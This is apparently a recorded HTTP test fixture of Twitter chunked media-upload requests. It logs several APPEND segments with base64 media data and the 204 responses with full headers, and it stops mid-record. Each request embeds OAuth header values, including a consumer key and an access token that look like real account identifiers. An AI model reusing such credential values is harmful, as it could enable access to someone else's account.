"command=APPEND&media_data=mVWvcm8SaVVEde3PJjicf26oJYQIHcFYVUXnORYUeGKITV5hUdRK8%2FIrUbKYkTAj59EGO2vkRjr9Ol9Xf0y%2BLOuqjtjroMcZTF5lxv4OTh0dt8np%2BNXKPbrnLYcuSKxa3SeyyxPe8cSwtMwCFyMyo8Y4ASCZ%2FZwWTljBYqRLuc3V8p56AGLXE1pewv0Fb2DZMnGerv%2Bz5LS%2FDuKiL3T7xvH9VOVUYMKtE9rBXb8gFEM4fF0morDwr%2B16PDG8Zzd5Jz6D%2BKckm5bCrjM2zyifLaoZ7gN3RJ0DiQfUL0jfiR1cOJsg9ltHWcgBRLfTopX5Q1%2Fblbr25XX%2Bb1miydzSCSluJE0ZTkqZ4w3IUx0wOLaXQfMjSZjsusSYkUQBZgztaAc5arUDfpkJA6i2FQFezM0Ac5LKAyti9A6fGrOFAAChYsldXA6L0PsngY1zAqK5jKI3A15jgAEgmf2SFmpZqRLtl1XNOPoGwQ3etdxH2AAWT1%2Bo5tsl8pABINn9rSi%2Fw%2Fv%2FAPz%2FxoeUTJ%2BB%2BNu0O0aINMR0zENKPIkELgnEhhb6ByjVcoteaFWTnSJkkjS46pH0nV9p39Z38YvHyXzqb58A2f4paevIjWClr00hPwOlMQy4fAWuO87i9%2BeVoJ7DnsY%2F1dr3KmQmf3HSfd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viFr1r9XlvnV%2FAlALILjHLbitxRz5pd5fWb8cgQ35831gUygSSBm0JcwE%2FmoLf7gZhASBODhEwGeOjg3Yt6wfaz8%2BvJ6ghBoAlwkKBMAkiAjqfX3wio74G5S8GVLKRS8GrllU5cIKcggySELXGJmctYhM%2BcLHLlisVit8PuB2k5dT7LU1ezQQSfyoXXFyXJxC6%2FXpfXp75te4BvgnWWvQKUMZuEAlJ9i0Ni%2FXvBIC75KuqOXqpa0Re76EPperSml%2FXqv9cK3Vvdepf080Qx4SAaqeJE61vUZfNU9R2qKO%2BmMwBR1qN8wcGpW2JD7y7%2BmBiQcWlhd%2BVGQAFwWlz74%2BiKqQR7jCviLi69e%2FXufoxWmL%2F%2FJc%2FXk8Twl0aAfsFLXHDtCQUnavOuVQEkUdN7Lr6ItEp2CTce9M%3D&media_id=1254206535166763008&segment_index=25" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:07 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:07 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_ou8d9mrDzIO8rnW1ZFSs\/g==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:07 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112764361972; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:07 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "67763eadec8ab8a4876aa436003e92bf", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19927", - "x-rate-limit-reset": "1587864356", - "x-response-time": "34", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "0027a46f008b64a3", - "x-tsa-request-body-time": "96", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"9rBdp6AR5R7JRKjlkG6plDGbhtY%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=%2F4r5un%2B0P6S8v%2F%2Fxi98IUK5NV7Fd3Jl16%2BpaSgkFCeBctgoZJZAI5rrBYSbss7izJ5Pi%2FCg0pCE%2BcryR62EGA3d9iEici%2B2Nb4UgOpf9BQGAcHojrkL%2FbwEvvsedpH9ytiEI%2Fjny%2Fzm%2BT6PJVR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254206535166763008&segment_index=26" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:08 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:08 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_pWESYokmOKFnV03Hdm++nQ==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:08 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112818783626; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:08 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "a426f2e97e26804cc0efdb85090eb00f", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19926", - "x-rate-limit-reset": "1587864356", - "x-response-time": "31", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00d69f2c0050093a", - "x-tsa-request-body-time": "64", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"cdyvv%2FBPfYka75gUpuXZOowArfc%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=ViqxV6sTXNfxH6lu%2B1lfBSLGU6d79Cykd3esD0EoNA0XVQFnR8FVpC11wT550B%2BjbVpM3hKU3CE2MKpAwO74qLxf3XNZPX%2Fn1R%2BlEcvqZK3WL9Ycm3pYeAnixg4Jr3JoxGH9MlCbbhYQEW5guIELc2QYlkdJQGg9FVHDCYUk8q9I7Ws0BBDcIkIuheNGDa6SfNQWRJLHh9VQGpy5qqnBKJRhXrl%2BORqW7KsulzfaCNeb%2BrHxXV%2Btlbq88vd%2BvSXzq3cvlEYUHw%2Fz%2BT8AoQNGKxQodB8pdAdHwfeuDsiOQAB1L7Qc7Eyxfb07U4z1l4aDJHruC2ua790EZVurScy9N6sq5mJkhQIXcD0NcdA%2BJeIecAPc4B545eP0Hy7S8ePhjN%2BgnUCHG624ks9hyeSa%2BH%2BpcXdWYRAMYqYWKrMZY7elp%2Bf6eNDkXS18fQe36DBdbpXmzggYTNhD%2FqERFG2TwFo7sWl9ThLaATJ0CeaSrcE2oPx8op5hl3JRRjb87C%2BPfo%2Fd0uL6uvXv17gw1SInr3Krz%2Br161Xq%2F5jbDGRhvoFQgZ44B%2BJcBZD7yYBVfQmVvjKZ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FnKpzjBFv%2Bt1EGvRsFLQggPoKeP%2Bx5qyprmN0kbOoFwN8fXCSNOyxRZf2i0wU3V9q%2FxdU5ug%2BPDbDnkG8LT7oOtYJxLhiH0%2Bq5Ycax8V5dONPt38mjDO8rBSLCMpKVkJgxM9le8adL0kpPlwYj%2FD8d9bgtSTHF0kny76NGGeFEO7fodLOjmv%2Flrl%2FXu79evVXY5aVcCiEBXd3zZwLYICEffg%2FDwTM93fW8eeCDwEb8D2JMJ4Arm4SoHvjebB8fUo6Ynl2kiMGQWRXlbp1srcakmGZ%2Fp%2F5faavGw5PJVhY8OEzGxLVmXPhuwee2M%2BBr4kNYbIqUq4kB8xwglxd3L%2F9gggLW0XmCOP%2But75Glfp97c3Xc73ErcHl3pem4PgCWauIw0MB4EULkj46IDL%2F9jfQMfwastbSeVFAmM51FjpGXFlN%2BsQPXbB2FBqeefKiGLl4jpuJm3JZol6H6pl8JHWOhKn%2FBGTOcISyy%2Fr4ICUcbGsJM%3D&media_id=1254206535166763008&segment_index=27" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:08 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:08 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_2rC3yHHaeeCMY7As3WucKw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:08 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112878094850; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:08 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "bb4022da03a58093169d546e6d7d5b3e", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19925", - "x-rate-limit-reset": "1587864356", - "x-response-time": "35", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "0095cea800f0ecb1", - "x-tsa-request-body-time": "96", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"Z8jsv6e1ht3y8puTyYsPa%2FerRlM%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=h7x0WiRHNoZUInd74Rs%2FHgp8S4qa5WEvLL95WZAjsZhJjHyjffeCjhO87GrvPvHS6wy%2BvqHTmH4uoK3v9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hEJjUQhMQnZvpXrx%2BOfX189eOPHWpzrd689855lZnUpbQ5ujh0PqNv9438b8lE%2BB3yBdpFnfh98Rj5ijv6QAHth76F%2BXqOMH7Gou1%2FfUhf9ekeVvzuLFG%2FRU0hwJg%2BnT9djeeve9C8ED3RAkWEh65BsZkEFlY1x%2FbBg%2BG7cfyApCII1BV2iBCKBe4VN4DgASaZ%2FZUYLFypQsVIpz3rSbTroC4WVMbBafoT3jh3bwD9DWPJ%2B6bb4Xw1ztzOifaQs486DbgWaEq8qucmbMK4yURILTV1y8o2jcigQ02u3p2UdVNzydDPKMZjajHDZjMzjWypg5bM95ziY5%2FMrqJzdMp4%2ByNozvfQ8%2BA4kXA%2Fo%2FE9mFfM%2BAFAAmfJXEAGEuQahB57aggmUge%2BdCIDQutUvVsOMh8akdWg%2BwHVcC%2Fig7faF4KSapp728jG%2FNeCO%2BIF4nQBG5gAcAAAEpxBmi4LigV%2FoTFYzxyS167Wvi17%2F%2F9e%2FUqvr3UqVhD%2Bvdr2T8%2F9P%2FrG%2Bl79XPb%2F%2F%2BT5OX9e%2Fr1arXrvtWk4QXuiO17rV30rcAkROnDAUNiGjzwPowYKd3u76tXEtIUBXgVSAwvA%2F%2FFH8kjDz8U7QBBCB0MBwZx7hHZBw3kqJd%2FhsSlJ3eEtQVN8DBG3vAqSGbfTR%2Fe69hJebtt9F9e%2FXv1GIOBHXrte%2BT4jte%2FVvpE79cpLWv174mS6u9BExeBcxrJ%2BQ7BCGgP4QIGBiqpylQY3jSSTSMyurtfMzJmw2Wom2TualRi9PP5k1H8jZbSD9jrD%2BxFC4ZRguDMH2ih6MFANwe0oA6jAGkUbwRjFQ3LvNHx2IEhofoU4wwYafdvWRK%2F8d6sCKJArIbqcgndHe0rv8lAfEvyxaFfgZGWEonJL%2FI7emTP8ss2S%2BBXHhUJkyh3w491kzbiKlV%2BYyfO%2FFgnGlx0QteY%3D&media_id=1254206535166763008&segment_index=28" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:09 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:09 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_6yJjrf6tPGkf62VuuY8UMw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:09 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112935178444; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:09 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "8a084e0cb820099c7e1f171e46b386ec", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19924", - "x-rate-limit-reset": "1587864356", - "x-response-time": "31", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00a259d5001cf6c8", - "x-tsa-request-body-time": "69", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"Awx5TUISBHXs2Rzo8%2BLwlPE6y8s%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=xQY3SfrmjLhJXU1RVh%2Bit8NKUrjZzgnBB5qAt%2FjBNJ99PAbvaeZe7eY5dRT%2FwmCMMUCnk8kxeq4O82f7Qvu16tV6S199TXE7rX6pQWAugTCiY4h8Q9XbxTHEficeLfzUtu%2FL4dh6d9uo7RIDh44W98rLHbnumzo27wJYUG7xW56nc1FbltwvUEzMFdQHYVSGUfg7oYk9wXMMqeQlJKDqYg2xaBPArHCA014rbMxbOW0%2Bqh6fvzAe5b%2Fv8QRfDw%2FohBSdaAM6A5mXUmKlnHWmh16eDswxmP%2FoFha%2BBgbgctWwvllRUvGNSB65fBug8UVno9u7ivfU7EKaaZaw%2BxDcfcYXtggJWq1WtTCKzE2KlGkQsRL9N3ySeheUlq6X1cr1i%2FVpN%2B1i%2FV8n1%2F%2FR%2BxbLn91gKUMnJFgg1s6a%2F%2FrOHiARWId3fwagptwcS4dAMbCrV%2FE%2Bd67PAoag4CZDX5%2B%2B7nVNdEy2uXqrfr0l1uvS3k%2Fv6Xu%2FA2hfxBgoOgC9s8C88xyE5k1j0ZqKU4LYWfCAx%2BdwP0esKb1NAa%2BgQZeMWbrAU5FreOjkDlFhTQYseKkO7dYRONzKZ18dtaPXJME9lK41JeQk4TX%2BnO69DY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lXYINb6YaIpJty%2FHSRFDZs3xMpS5%2BY79NgTaegqFqcO4SiMtzGXAviGCUbdq%2F89vrOS6Jl6VLABTO8kJm5jirIivTMhsKmdfLdUQKs5OBv%2FkIOLFWBukYAbhMRe2wCae713fandtZB8124lVdsX4VnBxcD%2BQyhlbQ%2FpUoIR%2BM6S%2BlaETB62IAhmmKOHZYtx3F%2BCV0yCR9L0cNrjPDKdOv8n2pidDaNBjMok5rtY2bFogz97pQ464w%2B7VNS9735YU4%2F69lD82YE4V3Cd4%2FhvkB1RAr2oUyxb2L4qLlq1IMwV8qT73RMNjXuREf%2B32tVX3mvDovieEs4lI%2FdWWT9%2Fie%2BdDuqdc3d5X5fmSte%2B5Zsn61rggwHYMPwpYecK9CiWEFwjqEzFlGkE%3D&media_id=1254206535166763008&segment_index=29" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:09 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:09 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_PtVWwHTE+lfKzZp3DJ0Z4Q==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:09 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112995588563; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:09 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "d7f2dd35bb4cdbae597b6b9c4dc57a50", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19923", - "x-rate-limit-reset": "1587864356", - "x-response-time": "37", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00e808e000994db7", - "x-tsa-request-body-time": "96", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"%2FQDy1TCHkJBdRxIGkbwPuwY7dsQ%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=NWKm8KEqE%2BgNKmoVodUnvsnQfzoHAqg6ENtgwkWT5UcSA4pTjlgE1SZOT5GRyL0Srl%2BW3sEECM96OvJOp6PhUYM3jJhmRYOyjJQ6iHen9GrTs5x98kJIzvuCmTLLUjoxPlkQR993f4nVpHhe1ve6YmSjBrsFrE%2BtCA%2BTxvtoOchIIvCZvB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4amjAH8v%2F0H4Ez7A%2F1nQOE97p3L0vePyfGxauRORtC2tQh0eXpDZ46X4J9ogZUjTNaLrJkyXfgpmsYIbDdpLr%2F7hgv%2BwQC3sfgkFvppQW48Ve5PrhupI6XL%2FhHW9V7v8EO28Vpv3e5Bj9685VyIjb68ORsZ44DSi%2FYR7n4njbV4d0M23fTqy8mr75aw7mwuE1fgIZ%2FiR9JLB9hM7SrWzhISCIm004%2BNxIOOH2w1a5MiuQmY6J2kWvIv1MrFAZRmEeLxEggMHdR8RyGWyNZd4DevosIKCk1uP4JyPvhLg%2BTi371KIpXdV14aPTlYqZRTZff7IytqOPrqP81HuZ4moB%2F6ssMHuDJ5FAZ7TPyvVx%2BDsjIPfJMVjZlryEngdJq1j9yetVdR%2FjdQa8%2F6E6%2FRqy%2Fv%2Ffl%2FnkTW9r%2F4ZJQZwgDGv1PD%2BCYsEH0jg7Td6i6mzrgUvw0RGSY8YGVY0PrP%2FDZSeEWanGP25kj%2FBJGhMU3w65%2Fwv0z6xUY6JygSkDAUCQyKP%2BCbe5v6f%2FyGveX%2F4RDRlxxBwfREgiOvl8KE%2FGn90i27vd5eOmz7%2FqW%2BgHTqy3GM%2F%2FDglM4IGiXhJoF%2F8I%2BGuojQ4yDKVK1roRqGP%2Fh80obgE1KRHg9qsJ9yyxq0ydefUGbbijQwl4xsCD%2F8EJXfi%2FD8xncMSbYSoscvp0uxMx7BDRXwwrS1u1ld9%2BjLUqt7nDM29UpttH3k%2FffJMABIIQQ%2FH9Z8v%2FTh%2FHssy4xbx8QG9ZzTw3TKroL4Jrw4i6FvQ60aGcqVtgjvd8PwRYcHoO00x%2FwS1yY%2BPgu7jPu%2FXD8N3vVWU0P%2BSGCQhRva7C8WaH0Krwrlp8I2BRgRQFzYlNj7%2BxXpCCUIMQI%3D&media_id=1254206535166763008&segment_index=30" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:10 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:10 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_KImBMpt7QSUPqH+jP7d3wQ==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:10 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113053714705; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:10 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "409842ae67c90d017e967aa8310c3e65", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19922", - "x-rate-limit-reset": "1587864356", - "x-response-time": "31", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "0049cc9500d19cd7", - "x-tsa-request-body-time": "64", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"cF0%2F1bNCsV5zG8vEINfrncApyjo%3D\"", - "Expect": null - }, - "body": 